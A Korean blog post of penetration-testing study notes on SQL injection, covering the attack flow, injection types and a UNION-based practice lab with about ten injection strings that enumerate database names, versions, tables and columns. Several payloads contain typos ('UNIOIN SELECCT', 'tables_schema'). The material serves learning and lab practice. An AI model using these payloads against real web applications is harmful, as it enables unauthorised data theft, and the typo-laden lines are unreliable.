SQL Injection

유서정·2024년 4월 24일
1

모의해킹

목록 보기
4/6
post-thumbnail

SQL Injection

웹 서비스 기능 사용 시, 특정 쿼리 삽입으로 서버 내 데이터 조회 및 출력 가능

버전 및 데이터베이스 조회
버전 및 데이터베이스 길이 값 추출
모든 테이블 정보 조회
모든 데이터베이스 조회

Attack Flow

#1 싱글쿼터(" ' ") 삽입 시, 발생하는 SQL Error로 Attack Vector 판단
⇢ 싱글쿼터를 사용하지 않는 경우, 완성된 문장 삽입을 통한 판단
⇢ Error가 발생하지 않는 경우, Sleep( ) 함수 등을 이용한 판단
#2 연산자 및 정보함수를 이용해, SQL Injection 발생 확인
#3 발생 결과에 맞게 , SQLI 공격 수행(Union, Blind ,Time …)

SQL Injection 유형


Non-Blind SQL Injection : 결과값이 출력됨
Blind SQL Injection : 결과값이 출력이 안됨

UNION Based SQLI⭐

UNION 키워드를 사용하여 원래의 요청에서 추가 정보를 얻는 공격 기법

※ UNION은 여러 개의 SELECT 구문의 결과를 결합하는 연산자

▪ 다른 테이블 접근 및 원하는 쿼리 생성으로 데이터 조작 가능하며, 데이터베이스 쿼리의 실행결과를 사용자에게 출력해줄 때 사용

Attack Flow

#1. Attack Vector 탐색
‣ 특정 페이지에서 SQL 구문 입력이 되는지 확인 ' or 1=1 #
‣ 어떤 SQL 쿼리를 가지고 있을 것이다 추측 => SQLI 포인트 찾기

#2. SQL 공격수행
‣ column 개수 확인
‣ DB명 확인
‣ DB에서 사용되는 Table명 확인
‣ 테이블에서 사용되는 column명 확인

#3. 정보 탈취
‣ 데이터 추출

#기본 공격 구문

SELECT * FROM {TABLE} WHERE {COLUMN}='{Value}' UNION SELECT …

#SubQuery(서브쿼리)

▪ 입력한 쿼리 내에, 다른 쿼리를 입력해 사용하는 것
▪ 서브쿼리를 이용해 다른 테이블 접근 및 정보 조회 가능
▪ SELECT문을 사용하지 않는 곳에서도, 서브쿼리를 이용해 조회

  • COLUMNS절

  • WHERE 절

    SELECT * FROM security_user where name IN (select ‘admin’ union select ‘guest’);

[참고] https://blog.naver.com/sk_shieldus/222734386644
[참고] https://portswigger.net/web-security/sql-injection/union-attacks

UNION Based SQL Injection 실습

  • #1. 현재 데이터베이스, 버전 명 출력

    ' UNION SELECT 1,2,database(),version() #

DB종류별 주석

MySQLMariaDBOracleMSSQL
한줄 주석##, ------
여러줄 주석/* 내용 *//* 내용 *//* 내용 *//* 내용 */
  • #2. 현재 데이터베이스, 버전의 길이 값 출력

    ' UNION SELECT 1,2,database(),length(version()) #

  • #3. 3번째(password) 컬럼에, 현재 데이터베이스의 3번째 자리 값 출력

    ' UNION SELECT 1,2,substr(database(),3,1),4 #
    ' UNION SELECT 1,2,right(left(database(),3),1)4 #

  • #4. 4번째(email) 컬럼에 모든 데이터베이스 조회 후, 1개의 데이터베이스만 출력

    ' UNION SELECT 1,2,3,(SELECT schema_name FROM information_schema.schemata LIMIT 4,1); #
    ' UNION SELECT 1,2,3,(SELECT schema_name FROM information_schema.schemata LIMIT 1); #

LIMIT 구문

SELECT * FROM [TABLE명] LIMIT 개수;

SELECT * FROM student LIMIT 3;
테이블의 데이터 중 상위 데이터를 3개의 행만 반환

SELECT * FROM [TABLE명] LIMIT offset, 개수;

SELECT name FROM student LIMIT 1,10;
두 번째[1] 데이터부터 11번째 데이터[10]까지 (인덱스 [0]부터 시작)
=> 10개의 데이터를 가져온다.

???
' UNION SELECT 1,(SELECT table_schema FROM information_schema.tables LIMIT 1),3,4 #

  • #5. 2번째(name) 컬럼에 모든 데이터베이스 출력

    ' UNION SELECT 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata LIMIT 1),3,4 #
  • #6. 3번째(password) 컬럼에 현재 데이터베이스의 1개의 테이블만 조회

    ' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE tables_schema='security' LIMIT 1),4 #

  • #7. 현재 데이터베이스의 모든 테이블명 조회

    ' UNIOIN SELECCT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),4 #

  • #8. 모든 컬럼명 조회

    ' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns),4 #
    information_schema.columns[모든 테이블의 컬럼 정보]에서 column_name를 선택

  • #9. 현재 데이터베이스의 모든 컬럼명 조회

    ' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database()),4 #

  • #10. 현재 테이블중, security_user 테이블에 대한 컬럼명 조회

    ' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='security_user'),4 #

## Boolean Based SQLI
## Time Based SQLI
## Error Based –SQLI

profile
information security

0개의 댓글